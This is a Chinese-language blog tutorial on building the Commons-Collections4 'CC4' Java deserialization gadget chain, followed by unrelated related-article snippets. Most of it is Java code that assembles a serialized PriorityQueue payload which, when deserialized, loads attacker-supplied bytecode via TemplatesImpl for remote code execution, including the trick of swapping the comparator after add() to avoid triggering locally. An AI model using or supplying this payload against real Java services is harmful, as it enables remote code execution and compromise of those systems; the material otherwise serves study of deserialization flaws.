草庐IT

CC4

White_Room 2023-03-28 原文

0x00前言

在前面的cc链的利用被提出利用的时候,当时就出现了两个分支版本分别修复了漏洞就是我们所熟知的commons-collections4,然后就有了这条cc链4的利用

0x01分析

我们看一下这两个包有什么区别,这是两个依赖导入

 <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
     

还是导入嘛然后去ys看一下利用链子吧学会自己分析

从这里就可以知道它是用InstantiateTransformet,就是用的那个类加载机制去利用这个链子

还是细致的跟一下这个链子,就是简单调试

实在优先队列的那个类里面 PriorityQueue调用了下去的,然后在它的readObject方法调用的

在readObeject里面去调用了heapify()

在heapify里面调用了siftDown

然后继续调用siftDownUsingComparator

调用进来

这些其实都比较多余自己看跟一遍就懂了,链子上也没有写出来因为他们都在一个类里面还是readObject调用的,那就很简单了把命令执行的后半段黏上然后把这个

0x02开始构造链子

在代码执行那一块还是就跟cc链3一样吧照抄就行了

0x1代码执行部分

public class CC4TEST {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field _namefield = templatesClass.getDeclaredField("_name");
        _namefield.setAccessible(true);
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        _namefield.set(templates,"aaaaa");
        byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);
        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
    }

}

0x2compare部分

看到它的构造方法这个是我们可以传入的,直接把值传入就ok了

0x3readObject部分

然后在把

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

这个值放到优先队列里面到这里逻辑就已经完成了中间应该还有一些小的tips需要我们需要注意的就是

tips1

这里对消息队列的对象数组的又要求所以我们往里面随便加两个值就好了就add(1),add(2)就好了

tips2

就是在我i们使用add方法时候会调用到ompare方法然后就会调用到transform方法这样会导致在本地就会调用到这个方法

所以我们就用跟URL链子一样的方法先随便传一个值到Comparator里面然后在add完后在把Comparator里面的值改回来,然后至此这条链子的所有问题都解决了

ublic class CC4TEST {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field _namefield = templatesClass.getDeclaredField("_name");
        _namefield.setAccessible(true);
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        _namefield.set(templates,"aaaaa");
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\White_room\\IdeaProjects\\cclink4\\target\\classes\\com\\example\\cclink4\\CCTest\\test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);
//        Field tfactory = templatesClass.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);
        unseriallize("src.bin");


    }

有关CC4的更多相关文章

  1. javascript -/*@cc_on和IE6检测 - 2

    在研究IE的JavaScript条件注释时,我偶然发现了@cc_on。这似乎有效。然而,wikipediaentry条件注释提供了以下代码,用于更强大的IE检测,特别是IE6:/*@cc_on@if(@_jscript_version>5.7)document.write("YouareusingIE8+");@elif(@_jscript_version==5.7&&window.XMLHttpRequest)document.write("YouareusingIE7");@elif(@_jscript_version==5.6||(@_jscript_version==5.7&&

  2. javascript - Dreamweaver CC 中奇怪的 Javascript 验证 - 2

    我安装了DreamweaverCC2015,发现我的JavaScript文件中有无数错误。我在导入的JavaScript库(包括jQuery)中也有无数错误。最重要的“错误”是每个工作函数开头的这个错误:Missing"usestrict"statement.它在没有“usestrict”的情况下工作得很好,我什至从未在任何地方看到过这种说法。另一个奇怪的是:Extendingprototypeofnativeobject:'Array'.这是引发警告的代码:Array.prototype.sortOn=function(key){this.sort(function(a,b){if(

  3. node.js - cc1.exe : sorry, 未实现:64 位模式未在退出状态 2 退出状态 1 中编译 - 2

    当我尝试构建我的go项目时出现此错误。知道这个错误意味着什么以及如何解决这个问题。仅供引用:该项目还使用了nodejsAssets。 最佳答案 Thiserrorisusuallycausedbyhavinga64bitGoand32bitMinGWgccinstalledinPATHhttps://github.com/ethereum/go-ethereum/issues/2602您可以通过以下方式检查您的MinGW版本:$gcc-vUsingbuilt-inspecs.COLLECT_GCC=C:\MinGW\bin\gcc.

  4. go - 如何使用 Go 在电子邮件中包含 CC 和 BCC - 2

    如何在Go中的电子邮件功能中添加抄送和密件抄送。这是我的代码err:=smtp.SendMail("smtp.zoho.com",587,config.Email_id,config.Email_password,[]string{email_to}, 最佳答案 这取决于您使用的邮件库。但简短的版本是:只需像往常一样添加Cc:和Bcc:header,就像添加任何其他header一样,例如Subject:或To:。 关于go-如何使用Go在电子邮件中包含CC和BCC,我们在StackOve

  5. go - 如何在golang中将 "11aacc"之类的字符串转换为十六进制值[]byte ("\x11\xaa\cc") - 2

    我想使用UDP发送内容为0x11AACC的数据包,“11AACC”是从数据库中获取的,所以它是字符串。我不知道怎么把它变成十六进制值11AACC,如果我用[]byte("11AACC")来转换它,它会变成6字节的内容。谢谢。 最佳答案 您可以使用encoding/hex包中的DecodeString将您的十六进制字符串转换为[]byte。示例:https://play.golang.org/p/t200M1LqJQ3packagemainimport("encoding/hex""fmt""log")funcmain(){s:="1

  6. xml - 寻找 "CC130"的 XPath 函数 - 2

    您好,我正在尝试弄清楚仅展示类(class)“CC130”中的所有书籍的功能是什么?我有这个“/bookcollection/items/item/courses/course”,它显示了所有可能的类(class)?Computerscience:amodernintroduction/0131659456http://library.hud.ac.uk/catlink/bib/5911329CC100CC130CX290Computernetworks:protocols,standards,andinterfaces/0131660918http://library.hud.ac.

  7. c# - Windows 应用商店 CurrentApp.LoadListingInformationAsync() - 错误 0x801900cc - 2

    我在商店中有一个Windows8.1应用程序,但是当我尝试使用下一段代码来实现我想添加到我的应用程序中的新功能时varlistingInfo=awaitCurrentApp.LoadListingInformationAsync();我收到一条错误消息,但我并不完全了解它的含义。不过,我确实发现了错误,并将其显示在MessageDialog上,然后打印了一个屏幕。这是错误:Wecouldnotreceiveyourdonationduetoanunexpectederror:System.Exception:ExceptionfromHRESULT:0x801900CCatSystem

  8. python - 在 Windows 上使用 CMake 编译 Tensorflow 失败,文件 version_info.cc 未找到 - 2

    类似于this问题和相关that问题,我想从源代码在Windows上构建Tensorflow以启用deactivatedbydesigntosupportasmanymachinesaspossible的CPU优化.从建议BazelisnotsupportedonWindows的官方文档,我得出结论,CMake构建是可行的方法。我找到了CMake说明here,我假设通过查看Tagv1.1.0,我可以构建它。但是按照说明操作后,我收到以下错误消息:BuildFAILED."C:\Users\Alex\Repositories\tensorflow\tensorflow\contrib\c

  9. c# - 如何将多个收件人添加到 mailitem.cc 字段 c# - 2

    Oki,我正在处理outlook.msg模板。以编程方式打开它们,根据我的数据库中的内容插入值。例如。当我想在“收件人”字段中添加多个收件人时,而不是像下面那样做,mailitem.To=a+";"+b+";"+c;我做下面的事情,这更简单,尤其是当我在循环中做的时候。mailitem.Recipients.add("a");mailitem.Recipients.add("b");mailitem.Recipients.add("c");我的问题是,我还想在“抄送”字段中添加多个收件人,而上面的功能仅适用于“收件人”字段。如何在不进行字符串操作的情况下将多个收件人添加到“CC”字段。

  10. PHP 邮件添加 CC - 2

    我有这个PHP邮件功能:if(!function_exists("sendemail")){functionsendemail($email_to,$email_from,$email_subject,$email_body,$email_replyto){if(filter_var($email_to,FILTER_VALIDATE_EMAIL)){require_once"/usr/local/lib/php/Mail.php";$from=$email_from;$to=$email_to;$subject=$email_subject;$body=$email_body;$ho

随机推荐